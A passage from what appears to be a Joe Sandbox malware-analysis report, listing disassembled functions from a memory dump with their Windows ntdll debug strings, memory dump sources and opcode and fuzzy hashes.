Instruction Fuzzy Hash: 8DC14875A0031D9FEB158B68C8A0BBE77E8BF55744F5480A9ED01AB299EFB4DC44C390

Function 32942594 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 32981F8A
RtlGetAssemblyStorageRoot, xrefs: 32981F6A, 32981FA4, 32981FC4
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 32981F82
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 32981FC9
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 32981FA9
SXS: %s() passed the empty activation context, xrefs: 32981F6F

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: fbff590b1ad6d2c96daf605f3b51f6192c99ad990aa8fa33e8489b4a56c8f9d0
Instruction ID: e252d258dc054ebd308854b9c0df4ca30ec77e09d56fbeef78b25fb510853f2e
Opcode Fuzzy Hash: fbff590b1ad6d2c96daf605f3b51f6192c99ad990aa8fa33e8489b4a56c8f9d0
Instruction Fuzzy Hash: 6431C57AE00224BBF7208A85EC44F5B7B6CEF45B94F0541AAF9006B241DB70AE40CAE5

Function 32920680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32974ECA
(UCRBlock->Size >= *Size), xrefs: 32974ED7
HEAP[%wZ]: , xrefs: 32974EBB

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 963ade29c8a933cb96ccd1b402cfafbe1e0ede07a61676cf43ca0bfe0197b3b0
Instruction ID: 193db7c0d480851d406181278afdb5bf4e6147e3ada33be5b69bde7bf27d168a
Opcode Fuzzy Hash: 963ade29c8a933cb96ccd1b402cfafbe1e0ede07a61676cf43ca0bfe0197b3b0
Instruction Fuzzy Hash: 44F1CD74A00709DFEB18CF68C884B6AB7B9FF44344F1181A9E8159B386DB74E981CF90

Function 32939723 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 179timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32939922

Strings

LdrpUnloadNode, xrefs: 3297DAF5
minkernel\ntdll\ldrsnap.c, xrefs: 3297DAFF
Unmapping DLL "%wZ", xrefs: 3297DAEE

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: LdrpUnloadNode$Unmapping DLL "%wZ"$minkernel\ntdll\ldrsnap.c
API String ID: 3446177414-2283098728
Opcode ID: 74b1db82f8defa0616d6c482c042f26e3e240cfd684276c283b514029670e084
Instruction ID: f83b78720bc28e15f6151b89b7b2eb0c795a25abc9fa9e9be13984608a5b8152
Opcode Fuzzy Hash: 74b1db82f8defa0616d6c482c042f26e3e240cfd684276c283b514029670e084
Instruction Fuzzy Hash: EE5137756023019FF716DF38C880B1A73ADBF88718F144A6DEA429B2C6DB70E845CB91

Function 3294C640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3294C6DF

Strings

LdrpInitializePerUserWindowsDirectory, xrefs: 329880E9
Failed to reallocate the system dirs string !, xrefs: 329880E2
minkernel\ntdll\ldrinit.c, xrefs: 329880F3

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 72e76b24beeb60522fce31c7e6d937b3ad2629a7162a452d4ad2ac7625666daa
Instruction ID: a8ffb35ff3cc19da757b68fafd88303de2c72f2a62da68b0e6679738ed980098
Opcode Fuzzy Hash: 72e76b24beeb60522fce31c7e6d937b3ad2629a7162a452d4ad2ac7625666daa
Instruction Fuzzy Hash: FE4102B5546305AFE310EF68DD40B5B77E8EF48B54F00892AB948E7255EF70E842CB91

Function 329943D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32994489

Strings

Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 32994508
minkernel\ntdll\ldrredirect.c, xrefs: 32994519
LdrpCheckRedirection, xrefs: 3299450F

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 9c1deadb51bad78fb42e4bec20d72466cf874646803608379568f5f1d85059c4
Instruction ID: 78f3935d77dd70aa1a0652a381715539797800ec094e9fe90ab02b993d7cba5b
Opcode Fuzzy Hash: 9c1deadb51bad78fb42e4bec20d72466cf874646803608379568f5f1d85059c4
Instruction Fuzzy Hash: B2410276604311CFDB22CF58C940A9677E8AF4A778F055669EC8CDB356DB31E801CB91

Function 3293510F Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

WindowsExcludedProcs, xrefs: 3293514A
Kernel-MUI-Number-Allowed, xrefs: 32935167
Kernel-MUI-Language-SKU, xrefs: 3293534B
Kernel-MUI-Language-Allowed, xrefs: 3293519B
Kernel-MUI-Language-Disallowed, xrefs: 32935272

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: a350d60fc32d080c12ef7cdf5254a7a009f97df4dcfc1357ec77ac69f5be393c
Instruction ID: ad9644bcbe8cf7311038bb9d564f12b8a870cc6392d14864723fe050d46499c9
Opcode Fuzzy Hash: a350d60fc32d080c12ef7cdf5254a7a009f97df4dcfc1357ec77ac69f5be393c
Instruction Fuzzy Hash: EDF10BB6D01219EFDB16DF98C950ADEBBBCFF0C754F50405AE605A7211DAB49E01CBA0

Function 32907662 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 3296ADCF
HEAP: , xrefs: 3296ADB2
RtlFreeHeap, xrefs: 3296ADCE
HEAP[%wZ]: , xrefs: 3296ADA5
Invalid heap signature for heap at %p, xrefs: 3296ADBE

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: 30613163fac8df58b9a1d694da9019e4fd100a6f24b583daa61bba55589d3ee2
Instruction ID: 9df62a670d95bdec5d07d429d429005ebacc1c0a6bf33b93cff331fb920f7e10
Opcode Fuzzy Hash: 30613163fac8df58b9a1d694da9019e4fd100a6f24b583daa61bba55589d3ee2
Instruction Fuzzy Hash: 3901703A505244EFF3159368D428F9277ECEF4273CF14C889E0014B792CEA498C1DD60

Function 32910485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 329105D6

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 32910586
kLsE, xrefs: 329105FE

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: 0c59ef663da6e19f45e7a9f78032ce2f36bd9b1ac64da296158aca90b9e87d01
Instruction ID: f3d635979cbdbc9e0be011920e0e17ab054a4597b24d0216f12061ac2cf2f7a6
Opcode Fuzzy Hash: 0c59ef663da6e19f45e7a9f78032ce2f36bd9b1ac64da296158aca90b9e87d01
Instruction Fuzzy Hash: 4551DFB5A0074ADFE724DFA7C4407ABB7F8AF04344F01883ED99987241EB76A545CBA1

Function 3291A2E0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Exit, xrefs: 3291A31F
8, xrefs: 3291A307
LdrResFallbackLangList Enter, xrefs: 3291A30F
6, xrefs: 3291A317

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: bf22029015fac59d1d63626c4762f85823f1d622ad594c7c201a6cf56f1db657
Instruction ID: fe119d3d8939c30d9b0d909dd3ea27b554a64257197dd0cf8820a73efae25fa3
Opcode Fuzzy Hash: bf22029015fac59d1d63626c4762f85823f1d622ad594c7c201a6cf56f1db657
Instruction Fuzzy Hash: F0C1AC7460838ACFE315CF5AC140B5AB7E4FF89744F00486AF8958B291EB74ED4ACB56

Function 3294265C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 329820C0
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 32981FE3, 329820BB
.Local, xrefs: 329427F8
SXS: %s() passed the empty activation context, xrefs: 32981FE8

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: a137d0af2e5cf76ed40f64e0a6bf29463ab44f699e6d5a5afd3cc7174dad7f30
Instruction ID: 3b6c5ff85aebcaade78e41ead7cc74e3450ab16ddb3b423d7dad97ac44c97eec
Opcode Fuzzy Hash: a137d0af2e5cf76ed40f64e0a6bf29463ab44f699e6d5a5afd3cc7174dad7f30
Instruction Fuzzy Hash: 16A1AC79D003299BEB24CF64DC84B99B3B4BF58318F2501EAD808AB355DB709E81CF90

Function 329163CB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 32970E72
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 32970DEC
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 32970EB5
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 32970E2F

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: b8c89471492e5796a5958d8db01e68b436599d12baffc11df0e65b85d94a8cbb
Instruction ID: 7be8c165c51f173e2563c8daa69f80bc3bedf3e27223a56e66addf9aa5e985c7
Opcode Fuzzy Hash: b8c89471492e5796a5958d8db01e68b436599d12baffc11df0e65b85d94a8cbb
Instruction Fuzzy Hash: 7F71C0B19043089FD760CF15C885B877BACAF847A4F5044A9FD488B19BD775E588CBD2

Function 3290F5C7 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3296E2F2
HEAP: , xrefs: 3296E2DD
`, xrefs: 3296E1B7
HEAP[%wZ]: , xrefs: 3296E18D

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: e95ecc0bd4b153d5c760ff2761a9d742d71b250d313f4157478a1298966814b8
Instruction ID: 1bfdb7cf4feb06ebe5cacf7e81dabd34de5825c13c688b1d9782dde93b89dcb5
Opcode Fuzzy Hash: e95ecc0bd4b153d5c760ff2761a9d742d71b250d313f4157478a1298966814b8
Instruction Fuzzy Hash: 466106752047889FE311CB64C844F6777EDFF84B68F054469F9948B292CB74D944CBA2

Function 329090F8 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualProtect Failed 0x%p %x, xrefs: 3296B849
HEAP: , xrefs: 3296B83C, 3296B879
VirtualQuery Failed 0x%p %x, xrefs: 3296B886
HEAP[%wZ]: , xrefs: 3296B82F, 3296B86C

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $VirtualProtect Failed 0x%p %x$VirtualQuery Failed 0x%p %x
API String ID: 0-1391187441
Opcode ID: 973b8691b26bfd954c4f168e59f587fef924f15790430f5aa6a0432c5b012757
Instruction ID: 7118f1e608764c03650c7f2416902e978f1eeab6b42c1093b62be9925e5500a3
Opcode Fuzzy Hash: 973b8691b26bfd954c4f168e59f587fef924f15790430f5aa6a0432c5b012757
Instruction Fuzzy Hash: 2431A33AA00209EFE751CB54DC84F9AB7BCEF45778F1084A5E815AB291EB70DD40CE60

Function 32917072 Relevance: 4.7, APIs: 3, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 329715E0
RtlDebugPrintTimes.NTDLL ref: 329715F5

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 769e39435fed25d41d0b0e1362ecc744f175e8b5c639d3161adf37b25ce7520b
Instruction ID: c8ca4c99b90a643fcfcc496fdf463f03bdabc5e77ae13c8340d840bc0b0437fc
Opcode Fuzzy Hash: 769e39435fed25d41d0b0e1362ecc744f175e8b5c639d3161adf37b25ce7520b
Instruction Fuzzy Hash: 5C510134A0070AEFEB09CF69CC447ADB7B9FF44755F10416AE90297290DFB0A955CB80

Function 329A3608 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

PE, xrefs: 329A37D2
LdrpResSearchResourceHandle Enter, xrefs: 329A3666
LdrpResSearchResourceHandle Exit, xrefs: 329A3681

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: e28d2d145b7ea3a0bd86952d720bb0d716a47360f66bf453d7e6817894e3c630
Instruction ID: 9e4ccf2953be8fd3e91136b17b84c3eb35f16ffb6d69416668bde10fc5fcef26
Opcode Fuzzy Hash: e28d2d145b7ea3a0bd86952d720bb0d716a47360f66bf453d7e6817894e3c630
Instruction Fuzzy Hash: 23F171B5A003288BDB64DF18CCA07E9B3B9EF48754F5480D9DE09A7241EB719E85CF58

Function 32911380 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 329114B6
HEAP[%wZ]: , xrefs: 32911632
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 32911648

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 356ccc16503bf1d31d9b706dfd0838401b2e7f087dfe24ce09831388e1e5300e
Instruction ID: 18a26dc0fb90efda8bb69affabb86190c9aeeef6990d4e4ede8b09c25245f7a5
Opcode Fuzzy Hash: 356ccc16503bf1d31d9b706dfd0838401b2e7f087dfe24ce09831388e1e5300e
Instruction Fuzzy Hash: 52E11474A04349AFEB28CF29C44177ABBF5EF49B14F14885DE896CB286DB34E941CB50

Function 3293F4D0 Relevance: 4.1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 32980128
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 329800C7
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 329800F1

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: a53967d17d48399ec3835e141cbca0b56004ef313254fb03ecd49b667804e119
Instruction ID: f444dc03493d7a1a3203937ac4f47e946079688bb488936055020c747ff6f157
Opcode Fuzzy Hash: a53967d17d48399ec3835e141cbca0b56004ef313254fb03ecd49b667804e119
Instruction Fuzzy Hash: 6DE1F175609741DFE726CF28C880B1AB7E4BF84328F140A6DF6A58B2E1DB74D945CB42

Function 3291B5E0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

MUI, xrefs: 3291B5F8, 3291B707
LdrResGetRCConfig Exit, xrefs: 3291B634
LdrResGetRCConfig Enter, xrefs: 3291B622

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: 86f340b706cbecc9f7ff627cfaf9de16d721bff8ec3cf3d526ba19fcf3c47149
Instruction ID: cd5b77cff0ade84d7c74b794117307aae3064c479f31b300370a47bd944bc857
Opcode Fuzzy Hash: 86f340b706cbecc9f7ff627cfaf9de16d721bff8ec3cf3d526ba19fcf3c47149
Instruction Fuzzy Hash: FCB1D376A117098FDB24CF6AC9A1B9DB7B6BF48798F104529E911EB790DB70E840CF04

Function 3290A147 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

UseFilter, xrefs: 3290A171
\??\, xrefs: 3296BF73
FilterFullPath, xrefs: 3296C075

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 3a1a0cfeeede908b850e63166b5145cdd525a89e7ec861e5da61804a44911e3e
Instruction ID: f51c0879ceb15f1d5bc08a58c0731881001548c6e0907c51c6384079f9b08952
Opcode Fuzzy Hash: 3a1a0cfeeede908b850e63166b5145cdd525a89e7ec861e5da61804a44911e3e
Instruction Fuzzy Hash: F4A171759016299FDB21DF24CC88BEAB7B8EF04714F1045EAE908A7250DB759EC5CF90

Function 329A327E Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Exit, xrefs: 329A32B7
@, xrefs: 329A33F7
LdrpResMapFile Enter, xrefs: 329A32A5

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: dfa34200605a27973dd55acc8d2d6aa63b59b9cf992d579a54bb5701f7c5f819
Instruction ID: 136babf405104bfaa022c4efc3a5ef2ccd28bb326f7e79902fe7ed3d839eac14
Opcode Fuzzy Hash: dfa34200605a27973dd55acc8d2d6aa63b59b9cf992d579a54bb5701f7c5f819
Instruction Fuzzy Hash: EC81BD75608340AFE715CB24C890B6AB7E8FF88754F80096DFD849B291DF74D904CB6A

Function 3291B360 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Exit, xrefs: 3291B397
LdrpResGetResourceDirectory Enter, xrefs: 3291B385
{, xrefs: 329735BD

Memory Dump Source

Source File: 00000008.00000002.79194682285.00000000328E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 328E0000, based on PE: true

Associated: 00000008.00000002.79194682285.0000000032A09000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: 4354588a736cdcf520c70b8243a230659bf1790aa8316f9922969459921dcf56
Instruction ID: bad73544b0ea47565ddb7a58629221630208bf1d6e1075a069b6b53037d0bb7f
Opcode Fuzzy Hash: 4354588a736cdcf520c70b8243a230659bf1790aa8316f9922969459921dcf56
Instruction Fuzzy Hash: B391E175A05349CFEB21CF5AC4607DDB7B6FF05368F148199E814AB2D0DB78AA40CB94

Function 329EB2BC Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 329EB3AA
GlobalizationUserSettings, xrefs: 329EB3B4
TargetNtPath, xrefs: 329EB3AF

Memory Dump Source

